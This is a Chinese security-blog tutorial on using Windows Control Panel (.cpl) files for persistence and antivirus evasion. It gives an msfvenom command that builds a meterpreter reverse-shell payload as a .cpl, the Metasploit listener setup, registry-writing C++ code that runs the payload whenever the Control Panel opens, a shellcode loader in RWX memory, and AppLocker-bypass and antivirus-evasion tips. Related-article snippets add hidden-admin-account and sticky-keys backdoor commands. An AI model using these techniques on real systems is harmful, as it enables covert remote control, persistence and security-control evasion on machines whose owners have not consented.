干货 | 巧用cpl文件维持权限和免杀

VSole2021-08-12 08:33:00

前言

最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。

cpl文件

CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item 在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项

列入我们win+R输入main.cpl

将会打开控制面板中的鼠标属性

cpl文件本质是属于PE文件

但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet 该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。

如何打开cpl

1.双击或者win+r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名> 注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。

4.vbs脚本

Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl")

5.js脚本

var a = newActiveXObject("Shell.Application");
a.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl");

如何自己制造一个cpl文件

最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("Calc.exe", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

随便一种方式执行

这里既然可以弹出calc.exe,那么能不能执行自己的payload的呢,答案是肯定的。

cpl文件的应用

bypass Windows AppLocker

什么是Windows AppLocker: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。

默认的Applocker规则集合,可以看到cpl并不在默认规则中:

开启Applocker规则: 打开计算机管理,选择服务,将Application Identity服务开启

然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则

默认规则为:

假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行

绕过的方式有很多,这里只讲cpl文件 完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd

msf直接生成cpl文件

生成cpl文件 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl

将文件拖到本地并运行,msf监听

•use exploit/multi/handler•set payload windows/meterpreter/reverse_tcp•set lhost 192.168.111.128•set lport 8877•exploit

这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。将cpl文件名称改为test.cpl 创建一个项目,作用为修改注册表:

HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1+ ::lstrlenA(path)));

不一定将cpl文件放到c盘更目录,可以自定义路径 执行后

然后这里在开启control.exe时,test.cpl文件也会被打开。

如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。

除了加壳之外,寄希望于自己实现加载shellcode,方便做混淆。

使用shellcode自己做一个cpl文件

直接上代码

#include"pch.h"
#include"windows.h"
extern"C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(0, NULL, "test", MB_OK);
/* length: 835 bytes */
unsignedchar buf[] = "shellcode";
    LPVOID Memory= VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

这是最最最最基础的loader 先打开control.exe看看效果

看看查杀率

这里上传的文本,shellcode没有做任何的处理,查杀率已经算比较低的,如果混淆一下,很轻松的就可以静态过杀软,再用白加黑,是不是想想就很轻松呢。

经过一系列处理后,找杀毒能力还比较强的360试一下

免杀控制面板
本作品采用《CC 协议》,转载必须注明作者和本文链接
最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。
系统安全第37篇普及Metasploit技术,希望您喜欢
可以通过注册表或直接用户管理删除隐藏的用户。0x2 Shift 后门将 C:\WINDOWS\system32\dllcache\sethc.exe 删除,这个文件夹中放着缓存,如果不删除就会自动变回去。按下 5下 shift 即可弹出管理权限的 DOS 窗口。0x3 放大镜后门创建 magnify.bat@echo off. 下的 magnify.exe登陆时通过组合键 Win+U 调用。DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。劫持系统程序具有兼容性,劫持用户程序则有针对性。
后渗透之权限维持的13种方法-Windows
一个内网安全攻防的知识仓库
0x1 匿名用户 net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add PS:通过在用户后面添加$符号的形式将用户达到隐藏的效果。 可以通过注册表或直接用户管理删除隐藏的用户。 0x2 Shift 后门 将 C:\WINDOWS\system32\dllcache
系统安全第47篇介绍Cape沙箱批量提取动态特征,希望对您有所帮助
系统安全第46片介绍恶意软件分析经典沙箱Cape的基础用法,希望您喜欢!
VSole
网络安全专家